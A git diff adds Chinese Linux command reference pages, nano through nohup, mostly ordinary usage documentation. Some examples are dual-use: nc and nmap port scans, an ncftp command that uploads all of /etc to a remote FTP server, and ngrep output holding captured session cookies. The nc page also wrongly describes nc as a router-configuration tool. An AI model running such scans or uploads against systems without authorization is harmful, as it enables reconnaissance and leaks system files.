相容) +``` + +### 用法 + + **光标控制** + +* 移动光标:使用用方向键移动。 +* 选择文字:按住鼠标左键拖到。 + + **复制、剪贴和粘贴** + +* 复制一整行:Alt+6 +* 剪贴一整行:Ctrl+K + + **粘贴:Ctrl+U** + +如果需要复制/剪贴多行或者一行中的一部分,先将光标移动到需要复制/剪贴的文本的开头,按Ctrl+6(或者Alt+A)做标记,然后移动光标到 待复制/剪贴的文本末尾。这时选定的文本会反白,用Alt+6来复制,Ctrl+K来剪贴。若在选择文本过程中要取消,只需要再按一次Ctrl+6。 + + **搜索** + +按Ctrl+W,然后输入你要搜索的关键字,回车确定。这将会定位到第一个匹配的文本,接着可以用Alt+W来定位到下一个匹配的文本。 + + **翻页** + +* Ctrl+Y到上一页 +* Ctrl+V到下一页 + + **保存** + +使用Ctrl+O来保存所做的修改 + + **退出** + +按Ctrl+X + +如果你修改了文件,下面会询问你是否需要保存修改。输入Y确认保存,输入N不保存,按Ctrl+C取消返回。如果输入了Y,下一步会让你输入想要保存的文件名。如果不需要修改文件名直接回车就行;若想要保存成别的名字(也就是另存为)则输入新名称然后确 定。这个时候也可用Ctrl+C来取消返回。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/nc.md b/LearnShell/LinuxCommands/nc.md new file mode 100644 index 0000000..e8cd6b2 --- /dev/null +++ b/LearnShell/LinuxCommands/nc.md @@ -0,0 +1,63 @@ +nc +=== + +命令用于设置路由器。 + +## 补充说明 + +**nc命令** 用于设置路由器。执行本指令可设置路由器的相关参数。 + +### 语法 + +``` +nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>] +[-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...] +``` + +### 选项 + +``` +-g<网关> 设置路由器跃程通信网关,最丢哦可设置8个。 +-G<指向器数目> 设置来源路由指向器,其数值为4的倍数。 +-h 在线帮助。 +-i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。 +-l 使用监听模式,管控传入的资料。 +-n 直接使用IP地址,而不通过域名服务器。 +-o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。 +-p<通信端口> 设置本地主机使用的通信端口。 +-r 乱数指定本地与远端主机的通信端口。 +-s<来源位址> 设置本地主机送出数据包的IP地址。 +-u 使用UDP传输协议。 +-v 显示指令执行过程。 +-w<超时秒数> 设置等待连线的时间。 +-z 使用0输入/输出模式,只在扫描通信端口时使用。 +``` + +### 实例 + +TCP端口扫描 + +``` +[root@localhost ~]# nc -v -z -w2 192.168.0.3 1-100 +192.168.0.3: inverse host lookup failed: Unknown host +(UNKNOWN) [192.168.0.3] 80 (http) open +(UNKNOWN) [192.168.0.3] 23 (telnet) open +(UNKNOWN) [192.168.0.3] 22 (ssh) open +``` + +扫描192.168.0.3 的端口 范围是 1-100 +扫描UDP端口 + +``` +[root@localhost ~]# nc -u -z -w2 192.168.0.1 1-1000 # 扫描192.168.0.3 的端口 范围是 1-1000 +``` + +扫描指定端口 + +``` +[root@localhost ~]# nc -nvv 192.168.0.1 80 # 扫描 80端口 +(UNKNOWN) [192.168.0.1] 80 (?) open +y //用户输入 +``` + + diff --git a/LearnShell/LinuxCommands/ncftp.md b/LearnShell/LinuxCommands/ncftp.md new file mode 100644 index 0000000..64013c9 --- /dev/null +++ b/LearnShell/LinuxCommands/ncftp.md @@ -0,0 +1,64 @@ +ncftp +=== + +是增强的的FTP工具 + +## 补充说明 + +**ncftp命令** 是增强的的ftp工具,比传统的FTP指令更加强大。FTP让用户得以下载存放于服务器主机的文件,也能将文件上传到远端主机放置。ncftp是文字模式FTP程序的佼佼者,它具备多样特色,包括显示传输速率,下载进度,自动续传,标住书签,可通过防火墙和代理服务器等。 + +### 语法 + +``` +ncftp(选项)(参数) +``` + +### 选项 + +``` +-u:指定登录FTP服务器时使用的用户名; +-p:指定登录FTP服务器时使用的密码; +-P:如果FTP服务器没有使用默认的TCP协议的21端口,则使用此选项指定FTP服务器的端口号。 +-m:在传之前尝试在目录位置创建目录(用于传目录的情况) +-R:递规传子目录 +``` + +### 参数 + +FTP服务器:指定远程FTP服务器的ip地址或主机名。 + +### 安装 + +``` +wget ftp://ftp.ncftp.com/ncftp/ncftp-3.2.3-src.tar.gz +tar zxvf ncftp-3.2.3-src.tar.gz +cd ncftp-3.2.3/ +./configure --prefix=/usr/local/ncftp +make && make install +``` + +### 实例 + +将本地/etc/目录内的所有文件和目录,上传到FTP服务器的flv/games/目录内(如果不存在flv/games/目录则自动创建)。 + +``` +/usr/local/ncftp/bin/ncftpput -u koumm -p koumm -P 21 -m -R 192.168.162.137 flv/games/ /etc/* +``` + + **指令说明** + +ncftp的基本命令和普通ftp一样,可以输入help获得命令列表。对于所有的命令,都可以使用help <命令>的格式获得详细帮助。l开头的就是对本地执行的命令,其它的就是对登入的ftp服务目录的操作命令。 + +增加的本地文件系统的操作命令: + +* lls: 列出本地当前目录文件; +* lmkdir : 本地建立目录; +* lrename: 本地文件改名; +* lpwd: 显示当前本地路 径; +* lchmod: 改变本地文件权限; +* lpage: 显示本地文件内容; +* lrm: 删除本地文件; +* lrmdir: 删除本地目录。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/nethogs.md b/LearnShell/LinuxCommands/nethogs.md new file mode 100644 index 0000000..b35584b --- /dev/null +++ b/LearnShell/LinuxCommands/nethogs.md @@ -0,0 +1,147 @@ +nethogs +=== + +终端下的网络流量监控工具 + +## 补充说明 + +有很多适用于Linux系统的开源网络监视工具。比如说,你可以用命令iftop来检查带宽使用情况。netstat用来查看接口统计报告,还有top监控系统当前运行进程。但是如果你想要找一个能够按进程实时统计网络带宽利用率的工具,那么NetHogs值得一看。 + + **NetHogs** 是一个开源的命令行工具(类似于Linux的top命令),用来按进程或程序实时统计网络带宽使用率。 + +来自NetHogs项目网站: + +> NetHogs是一个小型的net top工具,不像大多数工具那样拖慢每个协议或者是每个子网的速度而是按照进程进行带宽分组。NetHogs不需要依赖载入某个特殊的内核模块。如果发生了网络阻塞你可以启动NetHogs立即看到哪个PID造成的这种状况。这样就很容易找出哪个程序跑飞了然后突然占用你的带宽。 + +本文为你介绍如何在Unix/Linux操作系统下如何安装和使用NetHogs按进程监控网络带宽使用率。 + + +### 语法 + +``` +nethogs(选项)(参数) +``` +### 选项 + +```bash +usage: nethogs [-V] [-h] [-b] [-d seconds] [-v mode] [-c count] [-t] [-p] [-s] [device [device [device ...]]] + -V : 打印版本。 + -h : 打印此帮助。 + -b : bughunt模式 - 暗示tracemode。 + -d : 延迟更新刷新率(以秒为单位)。 默认值为1。 + -v : 视图模式(0 = KB / s,1 =总KB,2 =总B,3 =总MB)。 默认值为0。 + -c : 更新次数。 默认为0(无限制)。 + -t : tracemode. + -p : 煽动混乱模式(不推荐)。 + -s : 按发送列排序输出。 + -a : 监控所有设备,甚至环回/停止。 + device : 要监控的设备。 默认是所有接口启动和运行,不包括环回 + +当nethogs运行时,按: + q:退出 + s:按SENT流量排序 + r:按RECEIVE流量排序 + m:在总(KB,B,MB)和KB / s模式之间切换 +``` + +其他参数和用法 + +``` +-d : 刷新间隔 +-h : 帮助 +-p : promiscious 模式 +-t : trace模式 +-V : 版本 +``` + +**交互命令** + +以下是NetHogs的一些交互命令(键盘快捷键) + +* m : 修改单位 +* r : 按流量排序 +* s : 按发送流量排序 +* q : 退出命令提示符 + +### 安装 + +**在RHEL、CentOS和Fedora下安装NetHogs** + +要安装NetHogs,你必须要启用你所用Linux下的EPEL源。然后运行下面的yum命令下载安装NetHogs包。 + +``` +# yum install nethogs +``` + +**在Ubuntu、Linux mint和Debian下安装NetHogs** + +键入apt-get命令安装NetHogs包: + +``` +$ sudo apt-get install nethogs +``` + +### NetHogs用法 + +在基于RedHat系统下键入如下命令启动NetHogs工具。 + +``` +# nethogs + +``` + +在Debian/Ubuntu/Linux Mint下要执行NetHogs你必须拥有root权限: + +``` +$ sudo nethogs + +``` + +!nethogs + +Ubuntu 12.10 下的NetHogs预览 + +正如上图所示,send列和received列显示的是按照每个进程的流量统计。总的收发数据带宽在最下方,而且可以用交互命令控制排序,下面将要讨论这些交互命令。 + +### NetHogs 命令行参数 + +以下就是NetHogs命令行的参数,用-d来添加刷新频率参数,device name 用来检测给定的某个或者某些设备的带宽(默认是eth0)。例如:设置5秒钟的刷新频率,键入如下命令即可: + +``` +# nethogs -d 5 + +``` + +``` +$ sudo nethogs -d 5 + +``` + +如果只用来监视设备(eth0)的网络带宽可以使用如下命令: + +``` +# nethogs eth0 + +``` + +``` +$ sudo nethogs eth0 + +``` + +如果要同时监视eth0和eth1接口,使用以下命令即可: + +``` +# nethogs eth0 eth1 + +``` + +``` +$ sudo nethogs eth0 eth1 + +``` + +关于NetHogs命令行工具的完整参数列表,可以参考NetHogs的手册,使用方法是在终端里输入`man nethogs`或者`sudo man nethogs`,更多信息请参考NetHogs项目主页。 + + + diff --git a/LearnShell/LinuxCommands/netstat.md b/LearnShell/LinuxCommands/netstat.md new file mode 100644 index 0000000..407a018 --- /dev/null +++ b/LearnShell/LinuxCommands/netstat.md @@ -0,0 +1,169 @@ +netstat +=== + +查看Linux中网络系统状态信息 + +## 补充说明 + +**netstat命令** 用来打印Linux中网络系统的状态信息,可让你得知整个Linux系统的网络情况。 + +### 语法 + +``` +netstat(选项) +``` + +### 选项 + +``` +-a或--all:显示所有连线中的Socket; +-A<网络类型>或--<网络类型>:列出该网络类型连线中的相关地址; +-c或--continuous:持续列出网络状态; +-C或--cache:显示路由器配置的快取信息; +-e或--extend:显示网络其他相关信息; +-F或--fib:显示FIB; +-g或--groups:显示多重广播功能群组组员名单; +-h或--help:在线帮助; +-i或--interfaces:显示网络界面信息表单; +-l或--listening:显示监控中的服务器的Socket; +-M或--masquerade:显示伪装的网络连线; +-n或--numeric:直接使用ip地址,而不通过域名服务器; +-N或--netlink或--symbolic:显示网络硬件外围设备的符号连接名称; +-o或--timers:显示计时器; +-p或--programs:显示正在使用Socket的程序识别码和程序名称; +-r或--route:显示Routing Table; +-s或--statistice:显示网络工作信息统计表; +-t或--tcp:显示TCP传输协议的连线状况; +-u或--udp:显示UDP传输协议的连线状况; +-v或--verbose:显示指令执行过程; +-V或--version:显示版本信息; +-w或--raw:显示RAW传输协议的连线状况; +-x或--unix:此参数的效果和指定"-A unix"参数相同; +--ip或--inet:此参数的效果和指定"-A inet"参数相同。 +``` + +### 实例 + + **列出所有端口 (包括监听和未监听的)** + +``` +netstat -a #列出所有端口 +netstat -at #列出所有tcp端口 +netstat -au #列出所有udp端口 +``` + + **列出所有处于监听状态的 Sockets** + +``` +netstat -l #只显示监听端口 +netstat -lt #只列出所有监听 tcp 端口 +netstat -lu #只列出所有监听 udp 端口 +netstat -lx #只列出所有监听 UNIX 端口 +``` + + **显示每个协议的统计信息** + +``` +netstat -s 显示所有端口的统计信息 +netstat -st 显示TCP端口的统计信息 +netstat -su 显示UDP端口的统计信息 + +``` + + **在netstat输出中显示 PID 和进程名称** + +``` +netstat -pt +``` + +`netstat -p`可以与其它开关一起使用,就可以添加“PID/进程名称”到netstat输出中,这样debugging的时候可以很方便的发现特定端口运行的程序。 + + **在netstat输出中不显示主机,端口和用户名(host, port or user)** + +当你不想让主机,端口和用户名显示,使用`netstat -n`。将会使用数字代替那些名称。同样可以加速输出,因为不用进行比对查询。 + +``` +netstat -an +``` + +如果只是不想让这三个名称中的一个被显示,使用以下命令: + +``` +netsat -a --numeric-ports +netsat -a --numeric-hosts +netsat -a --numeric-users +``` + + **持续输出netstat信息** + +``` +netstat -c #每隔一秒输出网络信息 +``` + + **显示系统不支持的地址族(Address Families)** + +``` +netstat --verbose +``` + +在输出的末尾,会有如下的信息: + +``` +netstat: no support for `AF IPX' on this system. +netstat: no support for `AF AX25' on this system. +netstat: no support for `AF X25' on this system. +netstat: no support for `AF NETROM' on this system. +``` + + **显示核心路由信息** + +``` +netstat -r +``` + +使用`netstat -rn`显示数字格式,不查询主机名称。 + + **找出程序运行的端口** + +并不是所有的进程都能找到,没有权限的会不显示,使用 root 权限查看所有的信息。 + +``` +netstat -ap | grep ssh +``` + +找出运行在指定端口的进程: + +``` +netstat -an | grep ':80' +``` + + **显示网络接口列表** + +``` +netstat -i +``` + +显示详细信息,像是ifconfig使用`netstat -ie`。 + + **IP和TCP分析** + +查看连接某服务端口最多的的IP地址: + +``` +netstat -ntu | grep :80 | awk '{print $5}' | cut -d: -f1 | awk '{++ip[$1]} END {for(i in ip) print ip[i],"\t",i}' | sort -nr +``` + +TCP各种状态列表: + +``` +netstat -nt | grep -e 127.0.0.1 -e 0.0.0.0 -e ::: -v | awk '/^tcp/ {++state[$NF]} END {for(i in state) print i,"\t",state[i]}' +``` + +查看phpcgi进程数,如果接近预设值,说明不够用,需要增加: + +``` +netstat -anpo | grep "php-cgi" | wc -l +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/newusers.md b/LearnShell/LinuxCommands/newusers.md new file mode 100644 index 0000000..5f3147e --- /dev/null +++ b/LearnShell/LinuxCommands/newusers.md @@ -0,0 +1,56 @@ +newusers +=== + +用于批处理的方式一次创建多个命令 + +## 补充说明 + +**newusers命令** 用于批处理的方式一次创建多个命令。 + +### 语法 + +``` +newusers(参数) +``` + +### 参数 + +用户文件:指定包含用户信息的文本文件,文件的格式要与`/etc/passwd`相同。 + +### 实例 + +实用newusers命令批量添加用户: + +用法很简单,newusers后面直接跟一个文件,文件格式和`/etc/passwd`的格式相同。 + +``` +用户名1:x:UID:GID:用户说明:用户的家目录:所用SHELL +``` + +举例: + +``` +jingang0:x:520:520::/home/jingang0:/sbin/nologin +jingang1:x:521:521::/home/jingang1:/sbin/nologin +...... +``` + +值得一提的是关于SHELL类型,查看主机上所有SHELL,可以通过chsh来查看: + +``` +[root@localhost beinan]# chsh --list +/bin/sh +/bin/bash +/sbin/nologin +/bin/ksh +/bin/tcsh +/bin/csh +/bin/zsh +``` + +其中除了`/sbin/nologin`,其它类型的SHELL都能登录系统,nologin大多是虚拟用户用的SHELL,也就是说虽然他是系统用户,但他并无登录系统的权限;如果您想添加这类用户,就把他的SHELL设置成`/sbin/nologin`,比如上面的例子。 + +关于用户名、UID、GID及用户的家目录是怎么回事,您可以读相应的参考文档。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/nfsstat.md b/LearnShell/LinuxCommands/nfsstat.md new file mode 100644 index 0000000..fd80123 --- /dev/null +++ b/LearnShell/LinuxCommands/nfsstat.md @@ -0,0 +1,56 @@ +nfsstat +=== + +列出NFS客户端和服务器的工作状态 + +## 补充说明 + +**nfsstat命令** 用于列出NFS客户端和服务器的工作状态。 + +### 语法 + +``` +nfsstat(选项) +``` + +### 选项 + +``` +-s:仅列出NFS服务器端状态; +-c:仅列出NFS客户端状态; +-n:仅列出NFS状态,默认显示nfs客户端和服务器的状态; +-2:仅列出NFS版本2的状态; +-3:仅列出NFS版本3的状态; +-4:仅列出NFS版本4的状态; +-m:打印以加载的nfs文件系统状态; +-r:仅打印rpc状态。 +``` + +### 实例 + +要显示关于客户机发送和拒绝的RPC和NFS调用数目的信息,输入: + +``` +nfsstat -c +``` + +要显示和打印与客户机NFS调用相关的信息,输入如下命令: + +``` +nfsstat -cn +``` + +要显示和打印客户机和服务器的与RPC调用相关的信息,输入如下命令: + +``` +nfsstat -r +``` + +要显示关于服务器接收和拒绝的RPC和NFS调用数目的信息,输入如下命令: + +``` +nfsstat –s +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/ngrep.md b/LearnShell/LinuxCommands/ngrep.md new file mode 100644 index 0000000..b7748a5 --- /dev/null +++ b/LearnShell/LinuxCommands/ngrep.md @@ -0,0 +1,139 @@ +ngrep +=== + +方便的数据包匹配和显示工具 + +## 补充说明 + +**ngrep命令** 是grep命令的网络版,他力求更多的grep特征,用于搜寻指定的数据包。正由于安装ngrep需用到libpcap库, 所以支持大量的操作系统和网络协议。能识别TCP、UDP和ICMP包,理解bpf的过滤机制。 + +### 安装 + +ngrep命令的下载地址:http://ngrep.sourceforge.net/,libpcap下载地址:http://www.tcpdump.org/。先用`yum install libpcap`完全安装libpcap,注意有时候用libpcap安装包安装的不完整会影响ngrep的使用。 + +如果yum无法安装就用以下步骤安装libpcap: + +``` +wget http://www.tcpdump.org/release/libpcap-1.3.0.tar.gz +tar -zxf libpcap-1.3.0.tar.gz +cd libpcap-1.3.0 +./configure +make && make install +``` + +ngrep的安装就是 configure/make/make install 三部曲。 + +注:configure时是遇到 please wipe out all unused pcap installations,添加以下选项: + +``` +./configure --with-pcap-includes=/usr/local/include/pcap +``` + +在安装后输入ngrep来验证下安装是否成功。 + +### 语法 + +``` +ngrep <-LhNXViwqpevxlDtTRM> <-IO pcap_dump> <-n num> <-d dev> <-A num> +<-s snaplen> <-S limitlen> <-w normal|byline|single|none> <-c cols> +<-P char> <-F file> +``` + +### 选项 + +``` +-e :显示空数据包 +-i :忽略大小写 +-v :反转匹配 +-R :don't do privilege revocation logic +-x :以16进制格式显示 +-X :以16进制格式匹配 +-w :整字匹配 +-p :不使用混杂模式 +-l :make stdout line buffered +-D :replay pcap_dumps with their recorded time intervals +-t :在每个匹配的包之前显示时间戳 +-T :显示上一个匹配的数据包之间的时间间隔 +-M :仅进行单行匹配 +-I :从文件中读取数据进行匹配 +-O :将匹配的数据保存到文件 +-n :仅捕获指定数目的数据包进行查看 +-A :匹配到数据包后dump随后的指定数目的数据包 +-s :set the bpf caplen +-S :set the limitlen on matched packets +-W :设置显示格式byline将解析包中的换行符 +-c :强制显示列的宽度 +-P :set the non-printable display char to what is specified +-F :使用文件中定义的bpf(Berkeley Packet Filter) +-N :显示由IANA定义的子协议号 +-d :使用哪个网卡,可以用-L选项查询 +-L :查询网卡接口 +``` + +### 实例 + +捕捉cloudian:18080端口的request和response,`-W byline`用来解析包中的换行符,否则包里的所有数据都是连续的,可读性差。`-d lo`是监听本地网卡: + +``` +ngrep -W byline -d lo port 18080 +``` + +捕捉amazon:80端口的request和response。`-d eth0是`用来监听对外的网卡: + +``` +ngrep -W byline -d eth0 port 80 +``` + +可以用`-d any`来捕捉所有的包: + +``` +ngrep '[a-zA-Z]' -t -W byline -d any tcp port 18080 +``` + +捕获字符串`.flv`,比如要查看在Web Flash 视频中的.flv文件的下载地址: + +``` +ngrep -d3 -N -q \.flv +interface: \Device\TNT_40_1_{670F6B50-0A13-4BAB-9D9E-994A833F5BA9} (10.132.0.0/2 +55.255.192.0) +match: \.flv +``` + +打开一个视频页面: + +``` +T(6) 10.132.34.23:24860 -> 61.142.208.154:80 [AP] +GET /f59.c31.56.com/flvdownload/12/19/ggyg7741@56.com_56flv_zhajm_119556973 +97.flv HTTP/1.1..accept: */*..Referer: http://www.56.com/flashApp/v_player_ +site.swf..x-flash-version: 9,0,45,0..UA-CPU: x86..Accept-Encoding: gzip, de +flate..User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET +CLR 2.0.50727; .NET CLR 3.0.04506.30)..host: f59.r.56.com..Connection: Keep +-Alive..Cookie: whistoryview=23423759-23635627-23423344-23171935-23058374-2 +3081156-23207350-22395727-; geoip=............; wl_all_s=y.... +``` + +OK。地址已经找到了,就是http://f59.c31.56.com/flvdownload/12/19/ggyg7741@56.com_56flv_zhajm_11955697397.flv + +加个`-W byline`参数后,将解析包中的换行符: + +``` +T(6) 2007/11/25 15:56:12.192619 10.132.34.23:26365 -> 59.151.21.101:80 [AP] +GET /aa.flv HTTP/1.1. +Accept: */*. +Accept-Language: zh-cn. +UA-CPU: x86. +Accept-Encoding: gzip, deflate. +User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.5072 +7; .NET CLR 3.0.04506.30). +Host: www.google.cn. +Connection: Keep-Alive. +Cookie: PREF=id=a0b2932c336477e9:TB=4:NW=1:TM=1187877372:LM=1187956074:S=Y1Fzndp +rT3vFo7ac; SID=DQAAAHcAAABJCEXeOVLHu2rIfb5BfKP3GG9PbhJDEkXsLTV8y0f_lvSd2Y46Q0FPt +83CnEs9rxA1xBDM9mLR8-ckWeScyOQA8PyYnX5u5OjFvjfRbDg_FDZfwxhRzqS9KPZv26pjnsUxs0FDM +1xpJ5AgDn38pXtlCdkksJ0-cbiIWoA61oHWMg; NID=7=AvJxn5B6YOLLxoYz4LLzhIbNsQUQiulRS6U +JGxdBniQBmXm99y7L-NBNORN82N3unmZSGHFPfePVHnLK2MjYjglyXZhU9x7ETXNBnY3NurNijHDhJ7K +yi7E53UBOcv4V. +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/nice.md b/LearnShell/LinuxCommands/nice.md new file mode 100644 index 0000000..5e04617 --- /dev/null +++ b/LearnShell/LinuxCommands/nice.md @@ -0,0 +1,41 @@ +nice +=== + +改变程序执行的优先权等级 + +## 补充说明 + +**nice命令** 用于以指定的进程调度优先级启动其他的程序。 + +### 语法 + +``` +nice(选项)(参数) +``` + +### 选项 + +``` +-n:指定进程的优先级(整数)。 +``` + +### 参数 + +指令及选项:需要运行的指令及其他选项。 + +### 实例 + +新建一个进程并设置优先级,将当前目录下的documents目录打包,但不希望tar占用太多CPU: + +``` +nice -19 tar zcf pack.tar.gz documents +``` + +方法非常简单,即在原命令前加上`nice -19`。很多人可能有疑问了,最低优先级不是19么?那是因为这个“-19”中的“-”仅表示参数前缀;所以,如果希望将当前目录下的documents目录打包,并且赋予tar进程最高的优先级: + +``` +nice --19 tar zcf pack.tar.gz documents +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/nisdomainname.md b/LearnShell/LinuxCommands/nisdomainname.md new file mode 100644 index 0000000..0b06abe --- /dev/null +++ b/LearnShell/LinuxCommands/nisdomainname.md @@ -0,0 +1,23 @@ +nisdomainname +=== + +显示主机NIS的域名 + +## 补充说明 + +**nisdomainname命令** 用于显示主机NIS的域名。 + +### 语法 + +``` +nisdomainname(选项) +``` + +### 选项 + +``` +-v:详细信息模式。 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/nl.md b/LearnShell/LinuxCommands/nl.md new file mode 100644 index 0000000..bc91a50 --- /dev/null +++ b/LearnShell/LinuxCommands/nl.md @@ -0,0 +1,94 @@ +nl +=== + +在Linux系统中计算文件内容行号 + +## 补充说明 + +**nl命令** 读取 file 参数(缺省情况下标准输入),计算输入中的行号,将计算过的行号写入标准输出。在输出中,nl命令根据您在命令行中指定的标志来计算左边的行。输入文本必须写在逻辑页中。每个逻辑页有头、主体和页脚节(可以有空节)。除非使用`-p`选项,nl 命令在每个逻辑页开始的地方重新设置行号。可以单独为头、主体和页脚节设置行计算标志(例如,头和页脚行可以被计算然而文本行不能)。其默认的结果与`cat -n`有点不太一样, nl 可以将行号做比较多的显示设计,包括位数与是否自动补齐0等等的功能。 + +### 语法 + +``` +nl (选项) (参数) +``` + +### 选项 + +``` +-b :指定行号指定的方式,主要有两种: + -b a :表示不论是否为空行,也同样列出行号(类似 cat -n); + -b t :如果有空行,空的那一行不要列出行号(默认值); + +-n :列出行号表示的方法,主要有三种: + -n ln :行号在萤幕的最左方显示; + -n rn :行号在自己栏位的最右方显示,且不加 0 ; + -n rz :行号在自己栏位的最右方显示,且加 0 ; + +-w :行号栏位的占用的位数。 +-p :在逻辑定界符处不重新开始计算。 +``` + +### 实例 + + **用 nl 列出 log2015.log 的内容** : + +``` +root@localhost [test]# nl log2015.log +1 2015-01 +2 2015-02 + +3 ======[root@localhost test]# +``` + +说明:文件中的空白行,nl 不会加上行号 + + **用 nl 列出 log2015.log 的内容,空本行也加上行号** : + +``` +[root@localhost test]# nl -b a log2015.log +1 2015-01 +2 2015-02 +3 +4 +5 ======[root@localhost test]# +``` + + **让行号前面自动补上0,统一输出格式:** + +``` +[root@localhost test]# nl -b a -n rz log2015.log +000001 2015-01 +000002 2015-02 +000003 2015-03 +000004 2015-04 +000005 2015-05 +000006 2015-06 +000007 2015-07 +000008 2015-08 +000009 2015-09 +000010 2015-10 +000011 2015-11 +000012 2015-12 +000013 ======= + +[root@localhost test]# nl -b a -n rz -w 3 log2015.log +001 2015-01 +002 2015-02 +003 2015-03 +004 2015-04 +005 2015-05 +006 2015-06 +007 2015-07 +008 2015-08 +009 2015-09 +010 2015-10 +011 2015-11 +012 2015-12 +013 ======= +``` + +说明:`nl -b a -n rz`命令行号默认为六位,要调整位数可以加上参数`-w 3`调整为3位。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/nm.md b/LearnShell/LinuxCommands/nm.md new file mode 100644 index 0000000..cc0a3eb --- /dev/null +++ b/LearnShell/LinuxCommands/nm.md @@ -0,0 +1,30 @@ +nm +=== + +显示二进制目标文件的符号表 + +## 补充说明 + +**nm命令** 被用于显示二进制目标文件的符号表。 + +### 语法 + +``` +nm(选项)(参数) +``` + +### 选项 + +``` +-A:每个符号前显示文件名; +-D:显示动态符号; +-g:仅显示外部符号; +-r:反序显示符号表。 +``` + +### 参数 + +目标文件:二进制目标文件,通常是库文件和可执行文件。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/nmap.md b/LearnShell/LinuxCommands/nmap.md new file mode 100644 index 0000000..36dd811 --- /dev/null +++ b/LearnShell/LinuxCommands/nmap.md @@ -0,0 +1,72 @@ +nmap +=== + +网络探测和安全审核 + +## 补充说明 + +**nmap命令** 是一款开放源代码的网络探测和安全审核工具,它的设计目标是快速地扫描大型网络。 + +### 语法 + +``` +nmap(选项)(参数) +``` + +### 选项 + +``` +-O:激活操作探测; +-P0:值进行扫描,不ping主机; +-PT:是同TCP的ping; +-sV:探测服务版本信息; +-sP:ping扫描,仅发现目标主机是否存活; +-ps:发送同步(SYN)报文; +-PU:发送udp ping; +-PE:强制执行直接的ICMPping; +-PB:默认模式,可以使用ICMPping和TCPping; +-6:使用IPv6地址; +-v:得到更多选项信息; +-d:增加调试信息地输出; +-oN:以人们可阅读的格式输出; +-oX:以xml格式向指定文件输出信息; +-oM:以机器可阅读的格式输出; +-A:使用所有高级扫描选项; +--resume:继续上次执行完的扫描; +-P:指定要扫描的端口,可以是一个单独的端口,用逗号隔开多个端口,使用“-”表示端口范围; +-e:在多网络接口Linux系统中,指定扫描使用的网络接口; +-g:将指定的端口作为源端口进行扫描; +--ttl:指定发送的扫描报文的生存期; +--packet-trace:显示扫描过程中收发报文统计; +--scanflags:设置在扫描报文中的TCP标志。 +``` + +### 参数 + +ip地址:指定待扫描报文中的TCP地址。 + +### 实例 + + **安装nmap** + +``` +yum install nmap +``` + + **使用nmap扫描www.jsdig.com的开放端口** + +``` +[root@localhost ~]# nmap www.jsdig.com + +Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-12-28 00:06 CST +Interesting ports on 100-42-212-8.static.webnx.com (100.42.212.8): +Not shown: 1678 filtered ports +PORT STATE service +22/tcp open ssh +80/tcp open http + +Nmap finished: 1 IP address (1 host up) scanned in 45.870 seconds +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/nmcli.md b/LearnShell/LinuxCommands/nmcli.md new file mode 100644 index 0000000..5307c25 --- /dev/null +++ b/LearnShell/LinuxCommands/nmcli.md @@ -0,0 +1,56 @@ +nmcli +=== + +地址配置工具 + +## 补充说明 + +**nmcli命令** 是 NetworkManager client 网络管理客户端。 + +### 语法 + +```bash +nmcli [OPTIONS] OBJECT { COMMAND | help } +``` + +### 选项 + +```bash +OPTIONS + -t[erse] terse output 简洁的输出 + -p[retty] pretty output 漂亮的输出 + -m[ode] tabular|multiline output mode 输出模式 + -f[ields] |all|common specify fields to output 指定要输出的字段 + -e[scape] yes|no escape columns separators in values 在值中转义列分隔符 + -n[ocheck] 不要检查nmcli和NetworkManager版本 + -a[sk] 要求缺少参数 + -w[ait] 设置超时等待整理操作 + -v[ersion] 显示程序版本 + -h[elp] 打印此帮助 + +OBJECT + g[eneral] NetworkManager的一般状态和操作 + n[etworking] 整体组网控制 + r[adio] NetworkManager切换开关 + c[onnection] NetworkManager的连接 + d[evice] 由NetworkManager管理的设备 + a[gent] NetworkManager秘密代理或polkit代理 +``` + +### 实例 + +```bash +nmcli connection show # 查看当前连接状态 +nmcli connection reload # 重启服务 +nmcli connection show -active # 显示活动的连接 +nmcli connection show "lan eth0"# 显示指定一个网络连接配置 +nmcli device status # 显示设备状态 +nmcli device show eno16777736 # 显示指定接口属性 +nmcli device show # 显示全部接口属性 +nmcli con up static # 启用static连接配置 +nmcli con up default # 启用default连接配置 +nmcli con add help # 查看帮助 + +``` + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/nohup.md b/LearnShell/LinuxCommands/nohup.md new file mode 100644 index 0000000..1d0ddbf --- /dev/null +++ b/LearnShell/LinuxCommands/nohup.md @@ -0,0 +1,50 @@ +nohup +=== + +将程序以忽略挂起信号的方式运行起来 + +## 补充说明 + +**nohup命令** 可以将程序以忽略挂起信号的方式运行起来,被运行的程序的输出信息将不会显示到终端。 + +无论是否将 nohup 命令的输出重定向到终端,输出都将附加到当前目录的 nohup.out 文件中。如果当前目录的 nohup.out 文件不可写,输出重定向到`$HOME/nohup.out`文件中。如果没有文件能创建或打开以用于追加,那么 command 参数指定的命令不可调用。如果标准错误是一个终端,那么把指定的命令写给标准错误的所有输出作为标准输出重定向到相同的文件描述符。 + +### 语法 + +nohup(选项)(参数) + +### 选项 + +``` +--help:在线帮助; +--version:显示版本信息。 +``` + +### 参数 + +程序及选项:要运行的程序及选项。 + +### 实例 + + +使用nohup命令提交作业,如果使用nohup命令提交作业,那么在缺省情况下该作业的所有输出都被重定向到一个名为nohup.out的文件中,除非另外指定了输出文件: + +``` +nohup command > myout.file 2>&1 & +``` + +在上面的例子中,输出被重定向到myout.file文件中。 + 